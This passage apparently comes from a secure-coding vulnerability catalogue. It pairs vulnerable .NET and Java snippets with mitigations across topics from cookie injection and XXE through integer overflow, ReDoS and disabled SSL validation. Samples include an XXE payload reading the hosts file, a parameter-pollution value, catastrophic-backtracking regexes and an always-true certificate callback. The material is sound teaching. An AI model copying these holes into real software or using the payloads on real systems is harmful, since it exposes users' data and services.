References	• HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

Application Settings Manipulation

Title	Applications Setting Manipulation
Summary	The attacker can insert a malicious application setting value in a way that causes denial of service or system ownage
Severity	Medium
Cost Fix	Low
Trust Level	Low
ID	
Description	Application settings is a database for storing application specific configuration information. Editing the application settings incorrectly may possibly damage the application since the applications highly depend on it. Changing the application settings through applications, especially web applications, rarely becomes a requirement. However, allowing untrusted sources to manipulate setting keys or values may cause unexpected problems for the application flow. An example code looks like;

	Configuration config = WebConfigurationManager.OpenWebConfiguration("~");
	config.AppSettings.Settings["WaitSeconds"].Value = TextBox1.Text;
	config.Save(ConfigurationSaveMode.Modified);
	
	The code above uses input for string a user-based application setting value. However, for example, applications which read and process this value can be exposed to severe problems, such as denial of service.
	
	There's another problem in saving user or system supplied application settings into the configuration file, such as Web.config. In order to achieve this, a web application's application pool identity should be given WRITE permission on the configuration file. This is against the idea of principle of least privilege and should be avoided.

Mitigation	Parameters that are fetched from the user and be stored in the application setting should be validated against strict whitelists and business logic requirement validations should be applied. For example, the above code, before using the option parameters fetched from the user should apply a regular expression such as below; [a-zA-Z0-9]{3, 30} The regular expression should not be relaxed and if it should be then a defensive blacklisting should be employed including & character at worst. Another, not alternative, solution is to save dynamic values on a database, instead of a application configuration file itself.
References	● CWE-15 ● HIPAA Security Rule 45 CFR 164.312(c)(2) ● OWASP Top 10 A1 ● PCI DSS 6.5.1

HTTP Cookie Injection

Title	HTTP Cookie Injection
Summary	The attacker can trick legitimate users' browsers or applications to believe forged cookies as if it is served from the legitimate server code

Severity	High
Cost Fix	Medium
Trust Level	Low
ID	
Description	
Technology	.NET

Cookies are one of the most controversial mechanisms of web technologies. The definitive specification was published in April 2011, nearly 17 years of its first usage.

Cookies are the way to “remember” site visitors and server end applications trust and process them for several aims.

Therefore, if an attacker manages to modify cookie contents in HTTP responses, that ultimately means the possibility of manipulating server behaviour towards a number of weaknesses.

One such a weakness is present in the code below;

```
public class BooksController : ApiController
{
        [HttpPost]
        public HttpResponseMessage Add(Book book)
        {
         BookService.AddtoChart(book);

         Cookie cookie = new Cookie("lastbookname", book.Name);
         response.addCookie(cookie);

         // return
        }
```

Sending book names including CR/LF characters, such as %0d%0a, would enable to create extra HTTP response headers. Using these extra HTTP response headers, attackers can create fake content for HTTP caches, therefore, for end-users utilizing these caches.

There are other possible ways of creating weaknesses and another piece is shown below.

```
public class RemoteCheckController : ApiController
{
        [HttpPost]
        public HttpResponseMessage Check(Credentials credentials)
        {
         HttpCookie whoCookie = new HttpCookie("loginCookie");
         Response.Cookies["who"].Value = credentials.username;
         Response.Cookies.Add(whoCookie);
         // return
        }
```

Technology	JAVA

Cookies are one of the most controversial mechanisms of web technologies. The definitive specification was published in April 2011, nearly 17 years of its first usage.

Cookies are the way to “remember” site visitors and server end applications trust and process them for several aims.

Therefore, if an attacker manages to modify cookie contents in HTTP responses, that ultimately means the possibility of manipulating server behaviour towards a number of weaknesses.

One such a weakness is present in the code below;

```
@Controller
public class BooksController {

 @RequestMapping(method = RequestMethod.POST)
 public String Add(Book book, HttpServletResponse response) {
        bookRepository.AddtoChart(book);
        Cookie myCookie = new Cookie("lastbookname", book.Name);
        response.addCookie(myCookie);
        // return
 }
```

Sending book names including CR/LF characters, such as %0d%0a, would enable to create extra HTTP response headers. Using these extra HTTP response headers, attackers can create fake content for HTTP caches, therefore, for end-users utilizing these caches.

Mitigation	
Technology	.NET

It is obvious that cookies can be manipulated as any other part that HTTP requests have. Therefore, when created cookie values shouldn't be freely manipulated by the untrusted user inputs.

For injecting special characters such as new line characters or special characters for cookies such as comma or semicolon, most of the recent frameworks prevents CR/LF characters to go in HTTP response headers, however, proactive mitigation techniques should still be taken such as whitelisting.

Cookie constructors will throw exceptions when feeded with cookie special characters.
In addition to dodging user inputs, when a necessity, user inputs should be controlled both syntactically and business logic wise. The above code pieces before using the parameters fetched from the user should apply a regular expression such as below;

[a-zA-Z0-9]{3, 30}

The regular expression should not be relaxed and if it should be then a defensive blacklisting should be employed including CR/LF characters at worst.

Technology	JAVA

It is obvious that cookies can be manipulated as any other part that HTTP requests have. Therefore, when created cookie values shouldn't be freely manipulated by the untrusted user inputs.

For injecting special characters such as new line characters or special characters for cookies such as comma or semicolon, most of the recent frameworks prevents CR/LF characters to go in HTTP response headers, however, proactive mitigation techniques should still be taken such as whitelisting.

Cookie constructors will throw exceptions when feeded with cookie special characters.
In addition to dodging user inputs, when a necessity, user inputs should be controlled both syntactically and business logic wise. The above code pieces before using the parameters fetched from the user should apply a regular expression such as below;

[a-zA-Z0-9]{3, 30}

The regular expression should not be relaxed and if it should be then a defensive blacklisting should be employed including CR/LF characters at worst.

References	• CWE-113 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2)

	● OWASP Top 10 A1 ● PCI DSS 6.5.1

Miscellaneous

Integer Overflow

Title	Integer Overflow
Summary	The attacker may manipulate arithmetic operations to produce unauthorized financial advantage or leave application in a denial of service state
Severity	Critical
Cost Fix	Low
Trust Level	Medium
Labels	overflow
ID	
Description	
Technology	.NET

Performing arithmetic calculations may not sound problematic in code when they produce correct results. However, when unchecked integer arithmetic operations with at least a single user provided operand leaves application unstable at best under attack.

Here's a controller code that accepts a simple integer input from the user and tries to calculate the total number of items.

```
public class CartController : ApiController
{
   [HttpPost]
   public HttpResponseMessage CheckOut(Customer customer)
   {
         int itemsToReserve = customer.NoOfSelection * customer.NoOfPeople;
         if(itemsToReserve > MAX_ITEMS_TO_RESERVE)
         {
            throw new Exception();
         }

         // try to calculate the price for the items
   }
```

…

Here, if an attacker sends a huge positive integer numbers for *NoOfSelection* or *NoOfPeople* then with the calculation the result might exceed Int32.MaxValue and become an negative integer number. The the first if statement will not hold and the code will flow for calculating the wrong price.

This situation may leave the application in an unstable state or produce wrong total price for the attacker advantage.

When the arithmetic operation produces a huge number that the resulting variable can't hold (Int32 in this case can hold of maximum Int32.MaxValue) then the result will overflow and the variable will represent valid but incorrect result.

Technology	JAVA

Performing arithmetic calculations may not sound problematic in code when they produce correct results. However, when unchecked integer arithmetic operations with at least a single user provided operand leaves application unstable at best under attack.

Here's a controller code that accepts a simple integer input from the user and tries to calculate the total number of items.

```
@Controller
public class CartController {

  @RequestMapping(method = RequestMethod.POST)
  public String Checkout(Customer customer) {
     int itemsToReserve = customer.NoOfSelection * customer.NoOfPeople;
     if(itemsToReserve > MAX_ITEMS_TO_RESERVE)
     {
       throw new Exception();
     }
  }
  ...
}
```

Here, if an attacker sends a huge positive integer numbers for *NoOfSelection* or *NoOfPeople* then with the calculation the result might exceed Integer.MAX_VALUE and become an negative integer number. The the first if statement will not hold and the code will flow for calculating the wrong price.

This situation may leave the application in an unstable state or produce wrong total price for the attacker advantage.

When the arithmetic operation produces a huge number that the resulting variable can't hold (int in this case can hold of maximum Integer.MAX_VALUE) then the result will overflow and the variable will represent valid but incorrect result.

Mitigation

Technology	.NET

The main protection against untrusted users on inputs is strict validation. Parameters that are fetched from the user and be used in arithmetic operations should be validated against strict whitelists.

Casting string inputs to integers will not help in Integer Overflow type of attacks, therefore, the maximum and minimum values should also be checked.

Another nice control in .NET is to used *checked* scope as shown below;

```
public class CartController : ApiController
{
   [HttpPost]
   public HttpResponseMessage CheckOut(Customer customer)
   {
        int itemsToReserve = checked(customer.NoOfSelection * customer.NoOfPeople);
        if(itemsToReserve > MAX_ITEMS_TO_RESERVE)
        {
           throw new Exception();
        }

        // try to calculate the price for the items
   }
…
```

checked scope triggers exception when the arithmetic operation results in overflows.

Technology	JAVA

The main protection against untrusted users on inputs is strict validation. Parameters that are fetched from the user and be used in arithmetic operations should be validated against strict whitelists.

Casting string inputs to integers will not help in Integer Overflow type of attacks, therefore, the maximum and minimum values should also be checked.

A simple control in JAVA is shown below;

```
@Controller
public class CartController {

  @RequestMapping(method = RequestMethod.POST)
  public String Checkout(Customer customer) {
     int itemsToReserve = customer.NoOfSelection * customer.NoOfPeople;
     if(itemsToReserve < 0)
     {
       throw new Exception();
     }
     if(itemsToReserve > MAX_ITEMS_TO_RESERVE)
     {
       throw new Exception();
     }
  }
  ...
}
```

a simple smaller than 0 check triggers exception when the arithmetic operation results in overflows.

In Java SE 8 java.lang.Math now contains addExact, multiplyExact, … methods that throw ArithmeticException when an overflow occurs.

References	• CWE-190 • HIPAA Security Rule 45 CFR 164.312(c)(2) • PCI DSS 6.5.2

Resource Denial of Service

Title	Resource Denial of Service
Summary	The attacker can force application into a denial of service state
Severity	Critical
Cost Fix	Low
Trust Level	High
ID	
Description	

Technology	.NET

One of the deadliest Denial of Service attacks are triggered when the attacker uses small number resources but creates a huge resource shortage on the target application that prevents legitimate users to use the application normally.

The APIs that deal with file systems, networking, processing capabilities, storage technologies or any other critical resources shouldn't be fed directly by the untrusted user without any whitelist validation strategies applied first.

The code below accepts a parameter from the untrusted user and use it as an input for a sleep operation. An attacker may hang one or more threads for a very long time by sending big numbers.

```
public class ItemsController : ApiController
{
   [HttpPost]
   public HttpResponseMessage Post(Item item)
   {
            // send item for processing
            // wait for a while for processing status
            // client may override the polling time

            while(!ProcessingService.IsComplete(item))
            {
                     Thread.Sleep(item.pollSeconds * 1000);
            }

   }
...
```

Technology	JAVA

One of the deadliest Denial of Service attacks are triggered when the attacker uses small number resources but creates a huge resource shortage on the target application that prevents legitimate users to use the application normally.

The APIs that deal with file systems, networking, processing capabilities, storage technologies or any other critical resources shouldn't be fed directly by the untrusted user without any whitelist validation strategies applied first.

The code below accepts a parameter from the untrusted user and use it as an input for a sleep operation. An attacker may hang one or more threads for a very long time by sending big numbers.

```
@Controller
public class ItemsController
{
   @RequestMapping(method = RequestMethod.POST)
   public String Post(Item item)
   {
            // send item for processing
            // wait for a while for processing status
            // client may override the polling time

            while(!ProcessingService.IsComplete(item))
            {
                     Thread.sleep(item.pollSeconds * 1000);
            }
...
```

Mitigation

Technology	.NET

APIs that can lead to resource denial of service attacks should be used with strict limitations. Should the user input must go through some of these APIs, strict whitelisting should be applied beforehand.

```
public class ItemsController : ApiController
{
   [HttpPost]
   public HttpResponseMessage Post(Item item)
   {
            // send item for processing
            // wait for a while for processing status
            // client may override the polling time

            if(item.pollSeconds > MAX_POLL_TIME)
            {
                     // log the request
                     item.pollSeconds = MAX_POLL_TIME;
            }

            while(!ProcessingService.IsComplete(item) && passedTime < absoluteTimeout)
            {
                     Thread.Sleep(item.pollSeconds * 1000);
            }

   }
```

Technology	JAVA

APIs that can lead to resource denial of service attacks should be used with strict

limitations. Should the user input must go through some of these APIs, strict whitelisting should be applied beforehand.

```
@Controller
public class ItemsController
{
   @RequestMapping(method = RequestMethod.POST)
   public String Post(Item item)
   {
            // send item for processing
            // wait for a while for processing status
            // client may override the polling time

            if(item.pollSeconds > MAX_POLL_TIME)
            {
                     // log the request
                     item.pollSeconds = MAX_POLL_TIME;
            }

            while(!ProcessingService.IsComplete(item) && passedTime < absoluteTimeout)
            {
                     Thread.sleep(item.pollSeconds * 1000);
            }
...
```

References	• CWE-400 • HIPAA Security Rule 45 CFR 164.306(a)(1) • PCI DSS 6.5.6

Possible Malicious API Usage

Title	Possible Malicious API Usage
Summary	The attacker may steal information, attain high privileges by committing unauthorized code to the repository
Severity	High
Cost Fix	Medium
Trust Level	Low
ID	

Description	
Technology	.NET

Programming languages and frameworks provide high level and low level APIs for developers in order them to satisfy requirements. It is no secret that some of these APIs can also be used out of the scope of their project requirement set; stealing data, unauthorized privilege escalation, etc.

Although it is really hard to be sure whether the usage of an API is malicious or not, it's still helpful to list the code pieces where suspicious APIs are used for further analysis.

Here are some the package names that may be used for malicious purposes;

System.Diagnostics.Process
System.Net.Sockets.TcpClient
System.Net.Sockets.UdpClient
System.Net.Sockets.TcpListener
System.Net.Sockets.Socket
System.Reflection
System.Net.SmtpClient

In addition to these, there are so many methods in both the above packages and 3rd party DLLs that can be utilized for malicious purposes, it's virtually not possible to enumerate them all. However, here are some the most obvious ones;

System.Net.HttpWebRequest
System.Net.WebRequest
System.Net.WebClient
System.Net.Http.HttpClient
RestSharp.RestClient (3rd party)

Technology	JAVA

Programming languages and frameworks provide high level and low level APIs for developers in order them to satisfy requirements. It is no secret that some of these APIs can also be used out of the scope of their project requirement set; stealing data, unauthorized privilege escalation, etc.

Although it is really hard to be sure whether the usage of an API is malicious or not, it's still helpful to list the code pieces, where suspicious APIs are used for further analysis.

Here are some the package names that may be used for malicious purposes;

java.lang.Runtime

java.net.ServerSocket
java.net.DatagramSocket
java.net.Socket
com.sun.mail.smtp.SMTPTransport
javax.mail
java.lang.ClassLoader
java.lang.Reflect
java.lang.Class

In addition to these, there are so many methods in both the above packages and 3rd party jars that can be utilized for malicious purposes, it's virtually not possible to enumerate them all. However, here are some the most obvious ones;

java.net.HttpURLConnection
org.apache.http.client.HttpClient

Technology	ANDROID

Programming languages and frameworks provide high level and low level APIs for developers in order them to satisfy requirements. It is no secret that some of these APIs can also be used out of the scope of their project requirement set; stealing data, unauthorized privilege escalation, etc.

Although it is really hard to be sure whether the usage of an API is malicious or not, it's still helpful to list the code pieces, where suspicious APIs are used for further analysis.

Here are some the Android specific package names that may be used for malicious purposes;

android.location
android.bluetooth
android.net.wifi
android.telephony

Here are some the general Java package names that may be used for malicious purposes;

java.lang.Runtime
java.net.ServerSocket
java.net.DatagramSocket
java.net.Socket
javax.mail
com.sun.mail.smtp.SMTPTransport
java.lang.ClassLoader
java.lang.Reflect
java.lang.Class

In addition to these, there are so many methods in both the above packages and 3rd party

jars that can be utilized for malicious purposes, it’s virtually not possible to enumerate them all. However, here are some the most obvious ones; java.net.HttpURLConnection org.apache.http.client.HttpClient
Mitigation

Technology	.NET
Any 3rd party DLLs used in the project should be security analyzed, too. In addition, any suspicious imports and code pieces should be further explored and removed if their goal is not intended in the trusted requirement set.	
Technology	JAVA
Any 3rd party jars used in the project should be security analyzed, too. In addition, any suspicious imports and code pieces should be further explored and removed if their goal is not intended in the trusted requirement set.	
Technology	ANDROID
Any 3rd party jars used in the project should be security analyzed, too. In addition, any suspicious imports and code pieces should be further explored and removed if their goal is not intended in the trusted requirement set.	

HTTP Parameter Pollution

Title	HTTP Parameter Pollution
Summary	The attacker can execute privileged operations that otherwise he/she can’t by adding extra HTTP parameters
Severity	Critical
Cost Fix	Low
Trust Level	Medium
ID	
Description	

Technology	.NET

Backend code usually creates B2B or M2M requests over a trust relationship either with shared secret tokens or IP restrictions, etc.

When creating untrusted-user-triggered web requests on the server side it is possible for an attacker to add extra HTTP parameters. Because of the trust relationships between the backend technologies, these extra parameters might allow an attacker to execute privileged operations.

```
string name = Request.Params["name"];
string serverURL = "https://backoffice.myserver.com/?token=" + TOKEN + "&Ops=Update&name=" + name;
Uri uri = new Uri(serverURL);
...
WebClient c = new WebClient(uri);
```

The code above forms a URL using the untrusted user input and triggers a trusted HTTP connection. Attacker adding other parameters such as;

```
name=john%26Ops=Delete
```

might be able to trigger a normally unauthorized delete operation on some other user. %26 is the URL encoded version of & which is decoded automatically by .NET framework and is an HTTP parameter delimiter.

Technology	JAVA

Backend code usually creates B2B or M2M requests over a trust relationship either with shared secret tokens or IP restrictions, etc.

When creating untrusted-user-triggered web requests on the server side it is possible for an attacker to add extra HTTP parameters. Because of the trust relationships between the backend technologies, these extra parameters might allow an attacker to execute privileged operations.

```
string name = request.getParameter("name");
string serverURL = "https://backoffice.myserver.com/?token=" + TOKEN + "&Ops=Update&name=" + name;
URL url = new URL(serverURL);
...
connection = (HttpURLConnection) url.openConnection();
```

The code above forms a URL using the untrusted user input and triggers a trusted HTTP connection. Attacker adding other parameters such as;

name=john%26Ops=Delete might be able to trigger a normally unauthorized delete operation on some other user. %26 is the URL encoded version of & which is decoded automatically by .NET framework and is an HTTP parameter delimiter.

Mitigation	
Technology	.NET
Parameters that are fetched from the user and be used in resource APIs should be validated against strict whitelists. The above code before using the name parameter fetched from the user should apply a regular expression such as below; [a-zA-Z0-9]{3, 30} The regular expression should not be relaxed and if it should be then a defensive blacklisting should be employed including & character at worst.	
Technology	JAVA
Parameters that are fetched from the user and be used in resource APIs should be validated against strict whitelists. The above code before using the name parameter fetched from the user should apply a regular expression such as below; [a-zA-Z0-9]{3, 30} The regular expression should not be relaxed and if it should be then a defensive blacklisting should be employed including & character at worst.	
References	• CWE-235 • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A1 • PCI DSS 6.5.1

XML External Entity Parsing

Title	XML External Entity Parsing
Summary	The attacker can access sensitive application and server data, cause denial of service, initiate server side network connection

Severity	Critical
Cost Fix	Low
Trust Level	High
ID	

Description

Technology	.NET

XML 1.0 standard defines entities within Document Type Declaration (DTDs) as variables like in programming languages. DTD is a substandard that defines grammar of the XML is relates to. So that when parsed, it can used to check the structure of the XML whether it fits with the rules.

An attacker with the ability to send any XML (or parts of an XML) to an XML parsing application with DTD processing enabled may be able to inject entities and then process or expand them.

The code snippet below, when parsing input XML, parses DTD pieces alongside with the XML and allow attacker to provide malicious entities.

```
XmlReaderSettings settings = new XmlReaderSettings()
{
        DtdProcessing = DtdProcessing.Parse
};

XmlReader xmlReader = XmlReader.Create(args[0], settings);
var root = XDocument.Load(xmlReader, LoadOptions.PreserveWhitespace);

foreach (var reportItemElement in root.Root.Elements("issue"))
{
…
```

Here's a simple XML that an attacker can use with which he would be able to access server side hosts file that he can't possible access otherwise.

```
<?xml version="1.0"?>
<!DOCTYPE issues [
  <!ENTITY foo SYSTEM 'file:///C:/Windows/System32/drivers/etc/hosts'>]>
<issues>
  <issue>
        <severity>&foo;</severity>
```

```
        <name>My Issue</name>
  </issue>
</issues>
```

Technology	JAVA

XML 1.0 standard defines entities within Document Type Declaration (DTDs) as variables like in programming languages. DTD is a substandard that defines grammar of the XML is relates to. So that when parsed, it can used to check the structure of the XML whether it fits with the rules.

An attacker with the ability to send any XML (or parts of an XML) to an XML parsing application with DTD processing enabled may be able to inject entities and then process or expand them.

The code snippet below, when parsing input XML, parses DTD pieces alongside with the XML and allow attacker to provide malicious entities.

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(file);
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getElementsByTagName("issue");
```

Here's a simple XML that an attacker can use with which he would be able to access server side hosts file that he can't possible access otherwise.

```
<?xml version="1.0"?>
<!DOCTYPE issues [
  <!ENTITY foo SYSTEM 'file:///C:/Windows/System32/drivers/etc/hosts'>]>
<issues>
  <issue>
        <severity>&foo;</severity>
        <name>My Issue</name>
  </issue>
</issues>
```

Mitigation

Technology	.NET

When not needed DTD processing should be disabled when parsing XML. If this is not the case DTD parts of XML should be ignored.

The code below ignores DTD parts in the input XML document and therefore prevents any

entity processing.

```
XmlReaderSettings settings = new XmlReaderSettings()
{
        DtdProcessing = DtdProcessing.Ignore
};

XmlReader xmlReader = XmlReader.Create(args[0], settings);
var root = XDocument.Load(xmlReader, LoadOptions.PreserveWhitespace);

foreach (var reportItemElement in root.Root.Elements("issue"))
{
…
```

Yet another solution is to use XmlReader.Create method with default XmlReaderSettings configuration. The default DtdProcessing value is Prohibit in .NET and this is secure by default.

Technology	JAVA

When not needed DTD processing should be disabled when parsing XML. If this is not the case DTD parts of XML should be ignored.

The code below ignores DTD parts in the input XML document and therefore prevents any entity processing.

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(file);
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getElementsByTagName("issue");
```

Yet another still process DTDs but insecure solution is;

```
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(file);
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getElementsByTagName("issue");
```

It is important to notice that disabling entity expansion will not prevent attackers to pull other attacks that utilizes DTD processing but not entity expansion.

References	• CWE-611 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A5 • PCI DSS 6.5.6

Impersonation In Code

Title	Impersonation In Code
Summary	The attacker can force the application run in unwanted high privileged state
Severity	Medium
Cost Fix	High
Trust Level	Medium
ID	

Description	Impersonation allows applications to run in another user privilege and if used correctly can reduce the attack surface of an application drastically by limiting the code that needs higher privilege than the current one to execute successfully.
	
	As an example an application that uses windows authentication may want to execute certain parts of the code by using the privilege level of the current user as opposed to IIS application identity.
	
	Here's a code snippet, which needs a higher privilege than the current user to read a sensitive file, impersonating and then reverse the impersonation.
	
	`try{`
	`  impersonatedUser = WindowsIdentity.GetCurrent().Impersonate();`
	`  ReadFile();`
	`  impersonatedUser.Undo();`
	`}`
	`catch(IOException e){`
	`  // logging`
	`  return;`
	`}`

	Here the problem is that if an exception occurs while reading the file (the file isn't there, memory problems, etc.) the de-impersonation will not be executed and the process will be still running with the higher permissions.

Mitigation	The code part that needs high privileges should run under impersonated user permissions, however, the impersonation should be reverted back each time independently whether the code succeeds or fails.
	
	try{
	impersonatedUser = WindowsIdentity.GetCurrent().Impersonate();
	ReadFile();
	}
	catch(IOException e){
	// logging
	return;
	}
	finally
	{
	impersonatedUser.Undo();
	}

References	• CWE-520 • CWE-250 • HIPAA Security Rule 45 CFR 164.312(c)(2) • PCI DSS 6.5.5

HTTP Parameter Overloading

Title	HTTP Parameter Overloading
Summary	The attacker can execute attacks like CSRF easier than expected
Severity	Medium
Cost Fix	Low
Trust Level	Low
ID	
Description	

Technology	.NET

ASP.NET allows developers to access HTTP request parameter values sent through URL parameters and POST body parameters in a unified manner. For example, in order to access a parameter “username”, the majority of us will utilize a code snippet such as below;

```
string userName = Request[“username”];
```

or

```
string userName = Request.Params[“username”];
```

These ways, it won’t matter if the username parameter is sent through as URL parameter or as POST body parameters, the developer will get the sent parameter value as string.

Same style of coding is also present in controllers’ action method parameters in ASP.NET MVC if the type of the HTTP request is not restricted.

However, this style of coding may make the attacker’s job easier if there’s an CSRF vulnerability in the related code. The attacker will not have to prepare a form posting exploit code which needs injected javascript execution in the same domain of the application. Being able to use GET requests the attacker may only insert a simple img HTML element with src attribute including the related parameter and no need to javascript execution. Being able to inject into the same domain will also make the attack more likely to succeed, as opposed to execute the attack in another domain.

Technology	JAVA

JEE allows developers to access HTTP request parameter values sent through URL parameters and POST body parameters in a unified manner. For example, in order to access a parameter “username”, the majority of us will utilize a code snippet such as below;

```
String userName = request.getParameter(“username”);
```

These ways, it won’t matter if the username parameter is sent through as URL parameter or as POST body parameters, the developer will get the sent parameter value as string.

Same style of coding is also present in controllers’ action method parameters in Spring MVC if the type of the HTTP request is not restricted.

However, this style of coding may make the attacker’s job easier if there’s an CSRF vulnerability in the related code. The attacker will not have to prepare a form posting exploit code which needs injected javascript execution in the same domain of the application.

Being able to use GET requests the attacker may only insert a simple img HTML element with src attribute including the related parameter and no need to javascript execution. Being able to inject into the same domain will also make the attack more likely to succeed, as opposed to execute the attack in another domain.

Mitigation

Technology	.NET

In order to employ a defense-in-depth style of coding or in other words to make an attacker's life harder, the HTTP method of getting request parameters should be explicitly defined.

[HttpGet] or [HttpPost] annotations should be used in ASP.NET controller action methods.

When accessing parameters through Request object, the specific collection should be used instead of the unified parameter pool (Request.Params or directly Request). As such one of;

- Request.Form["username"]
- Request.QueryString["username"]
- Request.Cookies["username"]

Technology	JAVA

In order to employ a defense-in-depth style of coding or in other words to make an attacker's life harder, the HTTP method of getting request parameters should be explicitly defined.

@RequestMapping annotation should be used in Spring MVC controller action methods with appropriate HTTP request methods as shown below;

```
@Controller
public class CartController {

  @RequestMapping(method = RequestMethod.POST)
  public String Add(Owner owner, Product product) {
  ...
```

When accessing parameters through HttpServletRequest API, the specific methods should be used instead of the unified parameter pool for differentiation.

```
public void doGet(HttpServletRequest req, HttpServletResponse res)
   throws ServletException, IOException  {
```

```
  // GET
}

public void doPost(HttpServletRequest req, HttpServletResponse res)
   throws ServletException, IOException {
 // POST
}
```

References	• HIPAA Security Rule 45 CFR 164.306(a)(1) • OWASP Top 10 A8 • PCI DSS 6.5.9

Use of Dangerous Regular Expressions

Title	Use of Dangerous Regular Expressions
Summary	The attacker can force application into a denial of service state
Severity	High
Cost Fix	Medium
Trust Level	Low
ID	
Description	
Technology	.NET

Regular expressions are very useful when finding patterns in strings. The technique is also extensively used for security when finding bad user input or accept them in only expected format, which is by the way, by far more secure than the first.

On the other hand, regular expressions can be quite complex and the engine that runs them should be as efficient as possible. However, it is this complexity that can sometimes produce denial of service opportunities for attackers.

For example, the code snippet below can take 6-7 seconds to complete with an input like aaaaaaaaaaaaaaaaaaaaaaaa! in a decent computer;

```
if (Regex.IsMatch(input, "(a+)+k"))
{
```

```
  // matches
}
```

The same situation occurs with a code below;

```
if (Regex.IsMatch(input, @"([a-zA-Z0-9]+)+#"))
{
  // matches
}
```

This long computing sessions are due to the repetitive groupings used in the regular expression patterns.

Technology	JAVA

Regular expressions are very useful when finding patterns in strings. The technique is also extensively used for security when finding bad user input or accept them in only expected format, which is by the way, by far more secure than the first.

On the other hand, regular expressions can be quite complex and the engine that runs them should be as efficient as possible. However, it is this complexity that can sometimes produce denial of service opportunities for attackers.

For example, the code snippet below can take 17 seconds to complete in a decent computer, not to mention %100 CPU;

```
String pattern = "^(([a-z])+.)+[A-Z]([a-z])+$";
String input = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!";
System.out.println(input.matches(pattern));
```

This long computing sessions are due to the repetitive/cascading groupings used in the regular expression patterns.

Mitigation

Technology	.NET

When using regular expression patterns repetitions in groupings may create denial of service problems. There’s no definitive answer for whether a regular expression will be the root reason of denial of service in an application framework, however, there’s a timeout period in .NET 4.5 which may be applied as a fail-safe.

```
var ts = TimeSpan.FromSeconds(2);
var ro = new RegexOptions();
if (Regex.IsMatch(input, @"(a+)+k", ro, ts))
```

```
{
  // matches
}
```

The above code snippet will run for 2 seconds and if can't finish by that time, RegexMatchTimeoutException exception will be thrown.

As a general rule when creating pattern you can follow below rules;

- Avoid to use patterns that can imply each other, such as using question mark, as in *aa* and *aaa?*
- Avoid repetitive/cascading groups, as in (a+)+

Technology	JAVA

When using regular expression patterns repetitions in groupings may create denial of service problems. There's no definitive answer for whether a regular expression will be the root reason of denial of service in an application framework, however, as a general rule when creating pattern you can follow below rules;

- Avoid to use patterns that can imply each other, such as using question mark, as in *aa* and *aaa?*
- Avoid repetitive/cascading groups, as in (a+)+

A custom timeout infrastructure can also be implemented that throws exceptions when a timeout period passes evaluating a regular expression as in stackoverflow answer.

References	
	• CWE-185 • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B)

Custom SSL Validation

Title	Custom SSL Validation
Summary	The attacker can read the sensitive traffic in clear text between clients and the server, such as usernames, passwords, credit card numbers, etc.
Severity	Urgent
Cost Fix	High

Trust Level	Medium
ID	
Description	
Technology	.NET

SSL is the de-facto standard used to provide end-to-end secrecy between clients and the server over HTTP.

HTTPS using server administrators buy valid SSL certificates from valid certificate authorities. They provide these certificates to the user agents during connection and the user agents, browsers, apply various check mechanisms to make sure that the user is connecting to a valid domain. A few of these checks;

- The domain name on the certificate should match the target domain name that the user wants to connect
- The certificate shouldn't be expired
- The certificate shouldn't be revoked
- The certificate should be signed with a valid certificate authority (prebuilt into the browsers)

If any of these checks fail, the end user is presented an interface saying that the connection isn't secure. This warning interface is the single most important warning medium for the end users against attackers executing man in the middle attacks using hacking techniques such as ARP poisoning.

Sometimes, we write code connecting to a test server during testing which has a self-signed SSL certificate. The self-signed SSL certificates can't provide the security assurance that the above controls want to assure, however, SSL certificates are somewhat expensive and needs time to acquire. So during test process self-signed SSL certificates are installed into the test servers.

The code that connects to one of these test servers fail miserably because of the the last control listed above. For example;

```
WebRequest request = WebRequest.Create("https://www.selfsigned.com");
```

The exception thrown contains message which is similar to *Remote certificate is invalid according to the validation procedure*. If this error message is searched in the Internet for a solution, the following wrong suggestion might be given;

```
public bool vsc(object sender,
                X509Certificate certificate,
                X509Chain chain,
                SslPolicyErrors sslPolicyErrors){
        return true;
}

WebRequest request = WebRequest.Create("https://www.selfsigned.com");

ServicePointManager.ServerCertificateValidationCallback +=
   new RemoteCertificateValidationCallback(vsc);
```

The code above will make the exception disappear, however, since no validation check will be done in method vsc, the attacker will have the opportunity to intercept the traffic using man-in-the-middle attacks but the code won't produce any warning messages.

Technology	JAVA

SSL is the de-facto standard used to provide end-to-end secrecy between clients and the server over HTTP.

HTTPS using server administrators buy valid SSL certificates from valid certificate authorities. They provide these certificates to the user agents during connection and the user agents, browsers, apply various check mechanisms to make sure that the user is connecting to a valid domain. A few of these checks;

- The domain name on the certificate should match the target domain name that the user wants to connect
- The certificate shouldn't be expired
- The certificate shouldn't be revoked
- The certificate should be signed with a valid certificate authority (prebuilt into the browsers)

If any of these checks fail, the end user is presented an interface saying that the connection isn't secure. This warning interface is the single most important warning medium for the end users against attackers executing man in the middle attacks using hacking techniques such as ARP poisoning.

Sometimes, we write code connecting to a test server during testing which has a self-signed SSL certificate. The self-signed SSL certificates can't provide the security assurance that the above controls want to assure, however, SSL certificates are somewhat expensive and needs time to acquire. So during test process self-signed SSL certificates are installed into the test servers.

The code that connects to one of these test servers fail miserably because of the the last control listed above. For example;

```
URL url = new URL("https://www.selfsigned.com/");
HttpsURLConnection con = (HttpsURLConnection)url.openConnection();
```

